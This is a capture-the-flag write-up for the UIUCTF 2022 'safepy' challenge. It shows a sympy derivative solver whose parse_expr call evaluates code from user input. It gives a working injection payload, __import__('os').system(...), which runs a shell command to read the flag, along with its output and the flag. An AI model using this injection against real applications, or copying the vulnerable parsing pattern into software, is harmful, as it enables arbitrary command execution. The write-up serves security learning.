## rev/safepy**Description: godlike snake with a nebula behind it and math equations floating around it**
[challenge file](https://2022.uiuc.tf/files/d242f7830f4f4a51cd068df3decf7612/handout.tar.gz?token=eyJ1c2VyX2lkIjoxMzQsInRlYW1faWQiOjE2MywiZmlsZV9pZCI6NjU3fQ.YuVUdA.TU9BWpZir1-_AH5A1PBXGTFfkO8)
Given python script```pythonfrom sympy import *
def parse(expr):    # learned from our mistake... let's be safe now    # https://stackoverflow.com/questions/33606667/from-string-to-sympy-expression    # return sympify(expr)
    # https://docs.sympy.org/latest/modules/parsing.html    return parse_expr(expr)
print('Welcome to the derivative (with respect to x) solver!')user_input = input('Your expression: ')expr = parse(user_input)deriv = diff(expr, Symbol('x'))print('The derivative of your expression is:')print(deriv)```This issue in github shows the vulnerability in **parse_expr**.
[vulnerable explanation](https://github.com/sympy/sympy/issues/10805#issuecomment-1002147366)
**payload:**```python__import__("os").system("cd / && cat flag")```
**Output**```shell== proof-of-work: disabled ==Welcome to the derivative (with respect to x) solver!Your expression: __import__("os").system("cd / && cat flag")uiuctf{na1v3_0r_mal1ci0u5_chang3?}
The derivative of your expression is:0```**flag:uiuctf{na1v3_0r_mal1ci0u5_chang3?}**